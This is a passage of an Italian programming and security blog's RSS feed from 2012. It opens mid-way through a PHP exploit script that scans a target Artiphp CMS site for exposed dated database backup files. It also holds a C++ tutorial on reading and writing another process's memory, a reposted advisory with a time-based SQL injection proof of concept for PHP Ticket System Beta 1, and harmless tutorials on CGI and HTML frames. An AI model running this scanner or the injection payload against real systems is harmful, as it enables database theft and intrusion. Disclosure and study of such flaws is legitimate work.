<span style="color: #000088;">$backup_array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'full'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'structure'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'partial'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/artiphp/artzone/artpublic/database/&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// change per need.</span><br />
&nbsp;<br />
<span style="color: #000088;">$alert1</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\033</span>[0;31m&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$alert2</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\033</span>[0;37m&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$godina_array</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$godina</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #660099; font-weight: bold;">\x20</span>[*] Checking year: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$godina</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span> Scanning: &quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/sleep"><span style="color: #990000;">sleep</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mesec_array</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$mesec</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dn_array</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$dn</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;~&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$backup_array</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$backup</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$port</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;db_backup_&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$backup</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$godina</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mesec</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dn</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.sql.gz&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #660099; font-weight: bold;">\x20</span>[!] DB backup file discovered!<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$alert1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x20</span>==&gt;<span style="color: #660099; font-weight: bold;">\x20</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$alert2</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$port</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;db_backup_&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$backup</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$godina</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mesec</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dn</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.sql.gz<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #660099; font-weight: bold;">\x20</span>[*] Zero findings.<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
&nbsp;<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/17/artiphp-cms-5-5-0-database-backup-disclosure-exploit/">Artiphp CMS 5.5.0 Database Backup Disclosure Exploit</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/05/17/artiphp-cms-5-5-0-database-backup-disclosure-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[C++]Leggere/Scrivere memoria di un processo</title>
		<link>http://brutuswolf.altervista.org/blog/2012/04/26/cleggerescrivere-memoria-di-un-processo/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/04/26/cleggerescrivere-memoria-di-un-processo/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 17:10:10 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[programmazione]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[gestione memoria]]></category>
		<category><![CDATA[ReadProcessMemory]]></category>
		<category><![CDATA[WriteProcessmemory]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2559</guid>
		<description><![CDATA[<p>Le API messe a disposizione da windows sono quasi infinite e ricoprono gli ambiti più svariati, di va da funzioni per gestire file fino a  funzioni per interagire con la...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/cleggerescrivere-memoria-di-un-processo/">[C++]Leggere/Scrivere memoria di un processo</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter" title="Process Table" src="http://osr507doc.sco.com/en/OSAdminG/graphics/pregion.gif" alt="" width="383" height="283" /></p>
<p>Le API messe a disposizione da windows sono quasi infinite e ricoprono gli ambiti più svariati, di va da funzioni per <a href="http://brutuswolf.altervista.org/blog/2012/03/18/ccercare-un-file/">gestire file</a> fino a  funzioni per <strong>interagire con la memoria stessa di un processo</strong>. E sono proprio quest&#8217;ultime che andremo a trattare in questo articolo.</p>
<p>Come piccola premessa bisogna sapere che scrivere valori a caso in giro per i processi può essere utile ( esempio nella creazione di cheat) ma può provocare anche <strong>terminazioni involontarie</strong> di questo. E inoltre un programma in esecuzione presenta una <strong>propria area di indirizzamento</strong>, e non è possibile cercare di accedere ad indirizzi al di fuori di questa.</p>
<p><span id="more-2559"></span></p>
 
<p>Con le funzione messa a disposizione da <strong>windows.h</strong> è possibile addirittura duplicare ed accedere all&#8217;heap di un processo, ma noi in questo semplice articolo vedremo soltanto due semplice operazioni ( che sono alla base di tutto ), cioè:</p>
<ul>
<li>leggere il valore di un indirizzo esatto</li>
<li>scrivere il valore di un indirizzo esatto</li>
</ul>
<p>Per conoscere l&#8217;indirizzo preciso di una variabile si può ricorrere a Cheat Engine oppure a programmi dello stesso calibro. Tutte le funzioni in ambito processi necessitano del<strong> parametro pid</strong>, quindi come prima cosa ecco una funzione che dato il nome di un processo restituisce il suo pid:</p>
<div class="codecolorer-container cpp twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0000ff;">int</span> trova_pid<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">char</span> <span style="color: #000040;">*</span>processo<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span><br />
HANDLE hProcessSnap<span style="color: #008080;">;</span><br />
HANDLE hProcess<span style="color: #008080;">;</span><br />
PROCESSENTRY32 pe32<span style="color: #008080;">;</span><br />
hProcessSnap <span style="color: #000080;">=</span> CreateToolhelp32Snapshot<span style="color: #008000;">&#40;</span> TH32CS_SNAPPROCESS, <span style="color: #0000dd;">0</span> <span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
pe32.<span style="color: #007788;">dwSize</span> <span style="color: #000080;">=</span> <span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span> PROCESSENTRY32 <span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>Process32First<span style="color: #008000;">&#40;</span> hProcessSnap, <span style="color: #000040;">&amp;</span>amp<span style="color: #008080;">;</span>pe32 <span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span><br />
<span style="color: #0000ff;">do</span><span style="color: #008000;">&#123;</span><br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span><span style="color: #0000dd;">strcmp</span><span style="color: #008000;">&#40;</span>processo,pe32.<span style="color: #007788;">szExeFile</span><span style="color: #008000;">&#41;</span><span style="color: #000080;">==</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #0000ff;">return</span> pe32.<span style="color: #007788;">th32ProcessID</span><span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span><span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span>Process32Next<span style="color: #008000;">&#40;</span> hProcessSnap, <span style="color: #000040;">&amp;</span>amp<span style="color: #008080;">;</span>pe32 <span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>La funzione per leggere un indirizzo di memoria è <strong>ReadProcessMemory</strong> con i seguenti parametri :</p>
<blockquote>
<pre>BOOL WINAPI ReadProcessMemory(
  __in   HANDLE hProcess,
  __in   LPCVOID lpBaseAddress,
  __out  LPVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesRead
);</pre>
</blockquote>
<p>Ecco una funzione che legge un valore intero da una locazione di memoria:</p>
<div class="codecolorer-container cpp twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0000ff;">int</span> leggi<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> pid,DWORD address<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span><br />
HANDLE hProcess<span style="color: #008080;">;</span><br />
hProcess <span style="color: #000080;">=</span> OpenProcess<span style="color: #008000;">&#40;</span> PROCESS_ALL_ACCESS, FALSE, pid <span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>hProcess<span style="color: #008000;">&#41;</span><br />
<span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">int</span> value <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span><br />
ReadProcessMemory<span style="color: #008000;">&#40;</span>hProcess,<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">void</span><span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>address,<span style="color: #000040;">&amp;</span>amp<span style="color: #008080;">;</span>value,<span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span>value<span style="color: #008000;">&#41;</span>,<span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">return</span> value<span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>La funzione per scrivere invece è <strong>WriteProcessMemory</strong> e i parametri sono circa i precedenti:</p>
<blockquote>
<pre>BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);</pre>
</blockquote>
<p>Per finire ecco un&#8217;utilizzo anche di quest ultima funzione:</p>
<div class="codecolorer-container cpp twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0000ff;">void</span> scrivi<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> pid,DWORD address,<span style="color: #0000ff;">int</span> value<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span><br />
HANDLE hProcess<span style="color: #008080;">;</span><br />
hProcess <span style="color: #000080;">=</span> OpenProcess<span style="color: #008000;">&#40;</span> PROCESS_ALL_ACCESS, FALSE, pid <span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>hProcess<span style="color: #008000;">&#41;</span><br />
<span style="color: #0000ff;">return</span><span style="color: #008080;">;</span><br />
WriteProcessMemory<span style="color: #008000;">&#40;</span>hProcess,<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">void</span><span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>address,<span style="color: #000040;">&amp;</span>amp<span style="color: #008080;">;</span>value,<span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span>value<span style="color: #008000;">&#41;</span>,<span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/cleggerescrivere-memoria-di-un-processo/">[C++]Leggere/Scrivere memoria di un processo</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/04/26/cleggerescrivere-memoria-di-un-processo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Ticket System Beta 1 SQL Injection</title>
		<link>http://brutuswolf.altervista.org/blog/2012/04/26/php-ticket-system-beta-1-sql-injection/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/04/26/php-ticket-system-beta-1-sql-injection/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 16:34:15 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[exploit]]></category>
		<category><![CDATA[PHP Ticket System]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2555</guid>
		<description><![CDATA[<p># Exploit Title: PHP Ticket System Beta 1 &#8216;p&#8217; SQL Injection # Date: 04/16/12 # Author: G13 # Twitter: @g13net # Software Site: http://sourceforge.net/projects/phpticketsystem/ # Version: Beta 1 # Category:...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/php-ticket-system-beta-1-sql-injection/">PHP Ticket System Beta 1 SQL Injection</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p># Exploit Title: PHP Ticket System Beta 1 &#8216;p&#8217; SQL Injection<br />
# Date: 04/16/12<br />
# Author: G13<br />
# Twitter: @g13net<br />
# Software Site: http://sourceforge.net/projects/phpticketsystem/<br />
# Version: Beta 1<br />
# Category: webapp (php)<br />
#</p>
<p>##### Description #####</p>
<p>PHP Ticket System is a small PHP MySQL trouble ticket or work<br />
ordersystem that is a work in progress.</p>
<p>##### Vulnerability #####</p>
<p>The &#8216;p&#8217; parameter on index.php is vulnerable to SQL Injection.</p>
<p>A user must be signed in to perform this attack.</p>
<p>##### Exploit #####</p>
<p>http://localhost/index.php?p=[SQLi]&#038;id=211&#038;_=1334627588812</p>
<p>##### PoC #####</p>
<p>http://localhost/index.php?p=edit_ticket&#8217; AND SLEEP(5) AND<br />
&#8216;yoUg&#8217;='yoUg&#038;id=211&#038;_=1334627588812</p>
<p>##### Vendor Notification #####</p>
<p>4/16/12 &#8211; Vendor Notified<br />
4/17/12 &#8211; Vendor reponse, will be fixed in next release<br />
4/24/12 &#8211; Disclosure</p>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/php-ticket-system-beta-1-sql-injection/">PHP Ticket System Beta 1 SQL Injection</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/04/26/php-ticket-system-beta-1-sql-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>L&#8217;interfaccia CGI</title>
		<link>http://brutuswolf.altervista.org/blog/2012/04/26/linterfaccia-cgi/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/04/26/linterfaccia-cgi/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 16:23:26 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[cgi c++]]></category>
		<category><![CDATA[common gateway interface]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2545</guid>
		<description><![CDATA[<p>L&#8217;interfaccia CGI ( Common Gateway Interface) descrive come avviene lo scambio di dati tra il browser e le applicazioni server side. La conoscenza dell&#8217;interfaccia CGI serve non solo per sviluppare...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/linterfaccia-cgi/">L&#8217;interfaccia CGI</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><a href="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/cgi.gif"><img class="aligncenter size-full wp-image-2546" title="cgi" src="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/cgi.gif" alt="" width="500" height="300" /></a></p>
<p><strong>L&#8217;interfaccia CGI ( Common Gateway Interface) descrive come avviene lo scambio di dati tra il browser e le applicazioni server side.</strong></p>
<p>La conoscenza dell&#8217;interfaccia CGI serve non solo per sviluppare applicazioni CGI (nel linguaggio della shell di Linux, in Perl o in qualsiasi linguaggio di programmazione) ma anche per capire come avviene lo scambio di dati tra il browser e le applicazioni server side realizzate con tecnologie più recenti come PHP,ASP o JSP. Queste tecnologie offrono meccanismi di livello più alto che nascondono in parte l&#8217;interfaccia CGI, che però rimane la stessa.</p>
<p>Le applicazioni server side (applicazioni CGI o pagine che contengono degli script, sul server) sono applicazioni in esecuzione sul server Web che possono ricevere un input dall&#8217;utente e creare pagine Web in risposta dinamicamente.</p>
<p><span id="more-2545"></span></p>
 
<p>L&#8217;utente normalmente inserisce i dati tramite un modulo; i dati vengono inviati all&#8217;applicazione sul server che li elabora e restituisce un documento HTML con la risposta.</p>
<p>Se l&#8217;URL specificato bella richiesta del browser si riferisce a una <strong>applicazione server side</strong>:</p>
<ul>
<li>il server, prima di inviare la risposta esegue l&#8217;applicazione</li>
<li>l&#8217;applicazione produce una risposta (in genere una pagina web)</li>
<li>il server invia la risposta.</li>
</ul>
<p>Il browser può<strong> inviare dati</strong> all&#8217;applicazione server side:</p>
<ul>
<li>inserendoli in un modulo, che richiede l&#8217;esecuzione dell&#8217;applicazione con l&#8217;attributo action</li>
<li>accodandoli all&#8217;URL dell&#8217;applicazione, nel formato richiesto dall&#8217;interfaccia</li>
</ul>
<p>Quando viene richiesta l&#8217;esecuzione di un&#8217;applicazione server side il server predispone i valori di opportune <strong>variabili d&#8217;ambiente</strong> che vengono usate dall&#8217;applicazione come input; le variabili più comuni sono:</p>
<blockquote><p>REQUEST_METHOD metodo usato nella richesta<br />
QUERY_STRING dati inviati con il metodo GET<br />
CONTENT_LENGHT quantità di dati inviati via metodo post<br />
DOCUMENT_ROOT directory root del server<br />
HTTP_USER_AGENT tipo di browser usato dall&#8217;utente<br />
REMOTE_ADDR indirizzo ip del client che ha effettuato la richiesta<br />
REMOTE_HOST nome di dominio del client che effettua la richesta<br />
SERVER_NAME nome di dominio del server<br />
SERVER_SOFTWARE nome e versione del software installato nel server web<br />
SERVER_PORT porta TCP in cui è attivo il servizio http</p></blockquote>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/26/linterfaccia-cgi/">L&#8217;interfaccia CGI</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/04/26/linterfaccia-cgi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Come utilizzare i frame in html</title>
		<link>http://brutuswolf.altervista.org/blog/2012/04/12/come-utilizzare-i-frame-in-html/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/04/12/come-utilizzare-i-frame-in-html/#comments</comments>
		<pubDate>Thu, 12 Apr 2012 17:48:57 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[attributi]]></category>
		<category><![CDATA[creare frame]]></category>
		<category><![CDATA[guida frame html]]></category>
		<category><![CDATA[tag frame]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2536</guid>
		<description><![CDATA[<p>Con i frame è possibile separare le pagine web in sezioni distinte, di qualsiasi dimensione, all&#8217;interno della finestra del browser, che talvolta posso essere ridimensionate. Il contenuto di un frame...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/12/come-utilizzare-i-frame-in-html/">Come utilizzare i frame in html</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><a href="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/Immagine.png"><img class="aligncenter size-full wp-image-2537" title="frame html" src="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/Immagine.png" alt="" width="271" height="225" /></a></p>
<p>Con i <strong>frame </strong>è possibile separare le pagine web in sezioni distinte, di qualsiasi dimensione, all&#8217;interno della finestra del browser, che talvolta posso essere ridimensionate.<br />
Il contenuto di un frame può essere indipendente dagli altri, ma si può anche fare in modo che le azioni dell&#8217;utente in un frame influenzino il contenuto degli altri frame ( per esempio si può creare in un frame un menu di collegamenti e visualizzare le pagine scelte in un altro frame)</p>
<p>Per indicare che la pagina è divisa in frame si usa il tag <strong>&lt;frameset&gt;  </strong>al posto del tag &lt;body&gt;; ogni frame deve essere definito con il tag <strong>&lt;frame&gt;</strong></p>
<p>Gli attributi del tag <strong>&lt;framset&gt;</strong> sono:</p>
<ul>
<li><strong>cols </strong>con valore un numero con o senza % o *; definisce numero e dimensione delle colonne da creare; un numero indica la larghezza della colonna in pixel; con il simbolo di percentuale indica la larghezza relativa della finestra del browser; * indica che il frame è proporzionale agli altri; si possono specificare più colonne racchiudendo tra virgolette le dimensioni in un elenco</li>
<li><strong>rows</strong> con valore un numero con o senza % o *; definisce numero e dimensione delle righe</li>
<li><strong>frameborder</strong> indica se i frame hanno un bordo ( valori: 1 bordo, 0 no bordo)</li>
<li><strong>border</strong> con valore qualsiasi numero intero; indica lo spessore del bordo per tutti i frame figli</li>
</ul>
<div><span id="more-2536"></span> </div>
<p>Il tag <strong>&lt;frame&gt;</strong> controlla le caratteristiche di un particolare frame.<br />
Per ogni riga o colonna definita nel frameset occorre avere un tag &lt;frame&gt; corrispondente. Il primo frame specificato da cols o rows è definito dal primo tag &lt;frame&gt;. Usando &lt;framset&gt; invece di &lt;frame&gt; si possono creare layout più complessi.</p>
<p>Gli attributi del tag &lt;frame&gt; sono:</p>
<ul>
<li><strong>name</strong> con valore una stringa; permette di specificare il nome del frame per farvi riferimento</li>
<li><strong>src</strong> con valore un URL; specifica il file da visualizzare all&#8217;interno del frame; se non si specifica, il frame appare vuoto</li>
<li><strong>noresize</strong> (senzavalori); se presente evita che si possa ridimensionare il frame;</li>
<li><strong>scrolling</strong> con valori Yes, No, Auto; specifica se appare o meno la barra di scorrimento</li>
<li><strong>frameborder</strong> indica se il frame ha bordo (valori: 1 bordo , 0 senza bordo)</li>
<li><strong>marginheight</strong> con valore un numero intero; indica l&#8217;altezza dei margini superiori e inferiori in pixel</li>
<li><strong>marginwidth</strong> convalore un intero; indica la larghezza dei margini sinistro e destro in pixel</li>
</ul>
<p>Nei collegamenti ipertestuali si può usare l&#8217;attributo <strong>target</strong> per specificare il nome del frame un cui visualizzare la pagina il cui URL è indicato nell&#8217;attributo href. L&#8217;attributo target può essere impostato con diversi valori speciali:</p>
<ul>
<li>_blank apre una nuova finestra con l&#8217;url specificato</li>
<li>_parent apre l&#8217;url nel frame genitore di quello corrente</li>
